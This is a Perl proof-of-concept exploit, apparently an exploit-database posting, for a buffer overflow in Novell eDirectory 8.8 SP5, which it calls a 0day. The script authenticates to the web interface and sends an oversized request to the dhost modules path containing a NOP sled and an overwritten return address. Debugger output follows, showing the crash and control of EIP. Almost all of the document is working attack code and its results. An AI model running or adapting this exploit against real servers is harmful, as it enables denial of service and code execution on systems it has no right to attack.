#PoC for Vulnerability: #!usr\bin\perl #Novell eDirectory 8.8 SP5 BoF Vuln - 0day #Vulnerability found in Hellcode Labs. #karak0rsan || murderkey #info[at]hellcode.net || www.hellcode.net #to GamaSEC: "please continue to discover and publish XSS BUGS.. you can just do that ;)" #http://www.youtube.com/watch?v=6bloyjV-Hhs use WWW::Mechanize; use LWP::Debug qw(+); use HTTP::Cookies; $target=$ARGV[0]; if(!$ARGV[0]){ print "Novell eDirectory 8.8 SP5 Exploit\n"; print "Hellcode Research || Hellcode.net\n"; print "Usage:perl $0 [target]\n"; exit(); } $login_url = "$target/_LOGIN_SERVER_"; $url = "$target/dhost/"; $vuln = "modules?L:"; $nop = "\x90" x 1668; $eip = "\xef\xbe\xad\xde"; $data = "B" x 235; $hellcode = $vuln.$nop.$eip.$data; ########Write your usr and pwd######## $username = "Admin.context"; $password = "1234"; my $mechanize = WWW::Mechanize->new(); $mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1)); $mechanize->timeout($url_timeout); $res = $mechanize->request(HTTP::Request->new('GET', "$login_url")); $mechanize->submit_form( form_name => "authenticator", fields => { usr => $username, pwd => $password}, button => 'Login'); $response2 = $mechanize->get("$url$hellcode"); ##Debugger Results of PoC: Windbg- File>Attach to a process>dhost.exe eax=7ff43000 ebx=00000000 ecx=00000000 edx=778ad094 esi=00000000 edi=00000000 eip=77867dfe esp=1630ff5c ebp=1630ff88 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\ntdll.dll - ntdll!DbgBreakPoint: 77867dfe cc int 3 0:088> g Debuggee is running... ##C:\Users\DELL\Videos\karak0rsan\Perl\bin>perl novelbof.pl ##Debugger Results after running poc: (1cc.1d44): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000042 ebx=15700796 ecx=038af878 edx=038b0000 esi=038af62c edi=038af878 eip=75c11684 esp=038af5c0 ebp=038af660 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.3053_none_d08d7bba442a9b36\MSVCR80.dll - MSVCR80!vfwprintf_p+0x5b: 75c11684 8802 mov byte ptr [edx],al ds:0023:038b0000=?? -- EAX = 00000042 (writed a part of eax) ##0:010> g (8e4.bb4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=deadbeef edx=77879bad esi=00000000 edi=00000000 eip=deadbeef esp=036bf1f0 ebp=036bf210 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 deadbeef ?? ??? #EIP=deadbeef - We controled eip ;)